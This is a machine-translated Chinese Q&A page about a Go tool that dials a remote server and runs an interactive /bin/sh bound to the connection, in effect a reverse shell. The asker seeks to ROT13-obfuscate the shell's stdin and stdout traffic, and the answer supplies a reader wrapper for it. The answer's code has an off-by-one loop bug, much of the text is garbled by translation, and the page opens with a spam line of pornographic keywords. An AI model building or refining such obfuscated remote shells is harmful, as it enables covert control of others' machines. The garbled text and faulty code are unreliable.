亚洲在线久爱草,狠狠天天香蕉网,天天搞日日干久草,伊人亚洲日本欧美

為了賬號安全,請及時綁定郵箱和手機立即綁定
已解決430363個問題,去搜搜看,總會有你想問的

如何捕獲色丁的字節數

如何捕獲色丁的字節數

Go
一只萌萌小番薯 2022-09-26 15:18:24
目標:我想捕獲cmd.Stdin的所有字節,并使用此rot13函數處理它們:https://play.golang.org/p/VX2pwaIqhmT故事:我正在編寫一個小工具,該工具將為win / linux進行交叉編譯,所以我試圖使它盡可能簡單。此工具連接到服務器,我可以從中在客戶端上執行命令。由于我必須為cmd.Stdout做同樣的事情,所以我使用了這個:.......conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)......cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive*** //***shell***, and not just a simple command                                        cmd.Stdin = conncmdStdout, err := cmd.StdoutPipe() // works fine    if err != nil {    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)}cmd.Stderr = connerr = cmd.Start()    if err != nil {        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)    }.....err = OBFprocessStream(cmdStdout, conn) // works fine....其中OBF處理流函數基于此函數:https://play.golang.org/p/j_TKZWuhGaK。這里一切都很好。所以,我試圖為cmd.Stdin復制同樣的事情:.......conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)......cmd := exec.Command(/bin/sh, "-i")                                         cmdStdin, err := cmd.StdinPipe()     if err != nil {    fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)}cmdStdout, err := cmd.StdoutPipe()    if err != nil {    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)}cmd.Stderr = connerr = cmd.Start()    if err != nil {        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)    }.....err = INOBFprocessStream(cmdStdin, conn).........err = OBFprocessStream(cmdStdout, conn)....但。。cmdStdin是一個Io.Writer關閉器,我真的不知道該怎么做才能捕獲字節sEGIH秒狗hszrhoiò你能幫幫我嗎?
查看完整描述

1 回答

?
胡子哥哥

TA貢獻1825條經驗 獲得超6個贊

因此,您實際上想要的似乎是從中讀取數據,并使用ROT13對其進行過濾,然后將其傳遞給cmd.Stdin(接受)。connio.Reader

而且你已經在實施io了。讀者rot13Reader

type rot13Reader struct {

    r io.Reader

}


func (r13 *rot13Reader) Read(b []byte) (int, error) {

    n, err := r13.r.Read(b)

    for i := 0; i <= n; i++ {

        b[i] = rot13(b[i])

    }

    return n, err

}

因此,一個快速的解決方案可以是從中構建一個小的過濾器鏈,如下所示:


    cmd.Stdin = &rot13Reader{conn}


查看完整回答
反對 回復 2022-09-26
  • 1 回答
  • 0 關注
  • 82 瀏覽
慕課專欄
更多

添加回答

舉報

0/150
提交
取消
微信客服

購課補貼
聯系客服咨詢優惠詳情

幫助反饋 APP下載

慕課網APP
您的移動學習伙伴

公眾號

掃描二維碼
關注慕課網微信公眾號